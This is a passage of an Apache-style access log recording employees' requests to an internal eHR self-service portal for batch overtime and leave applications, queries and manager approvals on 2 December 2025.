10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:08:55:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 25716 192.168.11.104 - - [02/Dec/2025:08:58:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203700430063923 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:58:37 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203700430063923 HTTP/1.1" 200 8988 192.168.11.104 - - [02/Dec/2025:08:58:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203700430063923 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203700430063923" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:58:42 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5203700430063923 HTTP/1.1" 200 27500 192.168.11.104 - - [02/Dec/2025:08:59:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:59:07 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4280 192.168.11.104 - - [02/Dec/2025:08:59:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:59:14 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [02/Dec/2025:08:59:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5764916417475346 HTTP/1.1" 200 8988 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:59:28 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5764916417475346 HTTP/1.1" 200 8988 192.168.11.104 - - [02/Dec/2025:08:59:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5764916417475346 HTTP/1.1" 200 27500 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5764916417475346" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:08:59:29 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5764916417475346 HTTP/1.1" 200 27500 192.168.11.135 - - [02/Dec/2025:09:00:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:00:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [02/Dec/2025:09:00:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:00:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.104 - - [02/Dec/2025:09:00:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4903 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:09:00:10 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4903 192.168.11.104 - - [02/Dec/2025:09:00:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:09:00:15 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7921 192.168.11.104 - - [02/Dec/2025:09:00:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:09:00:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 19399 192.168.11.104 - - [02/Dec/2025:09:00:20 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 192.168.11.104 - - [02/Dec/2025:09:00:20 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.104 - - [02/Dec/2025:09:00:20 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 192.168.11.104 - - [02/Dec/2025:09:00:20 +0800] "GET /eHR/img/cancel.png HTTP/1.1" 200 1230 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0" 192.168.11.135 - - [02/Dec/2025:09:00:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5728941688754817 HTTP/1.1" 200 8908 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:00:30 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5728941688754817 HTTP/1.1" 200 8908 192.168.11.135 - - [02/Dec/2025:09:00:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5728941688754817 HTTP/1.1" 200 24852 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5728941688754817" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:00:37 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5728941688754817 HTTP/1.1" 200 24852 192.168.11.135 - - [02/Dec/2025:09:00:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:00:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4071 192.168.11.135 - - [02/Dec/2025:09:00:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:00:55 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.135 - - [02/Dec/2025:09:01:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:01:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 8125 192.168.11.135 - - [02/Dec/2025:09:01:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 28324 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:01:13 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 28324 192.168.11.135 - - [02/Dec/2025:09:01:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22925 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:01:37 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22925 192.168.11.135 - - [02/Dec/2025:09:01:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:01:51 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 192.168.11.135 - - [02/Dec/2025:09:02:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:02:01 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22807 192.168.11.135 - - [02/Dec/2025:09:02:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22032 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.135 - - [02/Dec/2025:09:02:19 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE003&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 22032 100.64.0.1 - - [02/Dec/2025:09:03:18 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 "-" "-" 100.64.0.1 - - [02/Dec/2025:09:03:18 +0800] "GET http://passport.baidu.com/ HTTP/1.1" 200 439 192.168.11.33 - - [02/Dec/2025:09:04:24 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:04:24 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.33 - - [02/Dec/2025:09:04:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:04:26 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.33 - - [02/Dec/2025:09:04:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:04:32 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.33 - - [02/Dec/2025:09:04:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:04:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.33 - - [02/Dec/2025:09:04:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:04:37 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.33 - - [02/Dec/2025:09:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14036369989929365 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:05:34 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14036369989929365 HTTP/1.1" 200 8456 192.168.11.33 - - [02/Dec/2025:09:05:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14036369989929365 HTTP/1.1" 200 10639 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14036369989929365" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:05:39 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.14036369989929365 HTTP/1.1" 200 10639 192.168.11.108 - - [02/Dec/2025:09:05:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:05:41 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.108 - - [02/Dec/2025:09:05:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:05:42 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9510 192.168.11.108 - - [02/Dec/2025:09:05:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:05:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10435 192.168.11.33 - - [02/Dec/2025:09:05:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:05:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4207 192.168.11.33 - - [02/Dec/2025:09:06:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:06:01 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 22190 192.168.11.33 - - [02/Dec/2025:09:06:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32013971107709316 HTTP/1.1" 200 8456 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:06:20 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32013971107709316 HTTP/1.1" 200 8456 192.168.11.33 - - [02/Dec/2025:09:06:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32013971107709316 HTTP/1.1" 200 10629 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32013971107709316" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:06:25 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.32013971107709316 HTTP/1.1" 200 10629 192.168.11.108 - - [02/Dec/2025:09:06:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 29561 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:06:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 29561 192.168.11.33 - - [02/Dec/2025:09:06:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:06:52 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4201 192.168.11.33 - - [02/Dec/2025:09:06:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:06:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.33 - - [02/Dec/2025:09:07:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14341 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:07:08 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 14341 192.168.11.108 - - [02/Dec/2025:09:07:50 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.108 - - [02/Dec/2025:09:07:50 +0800] "POST 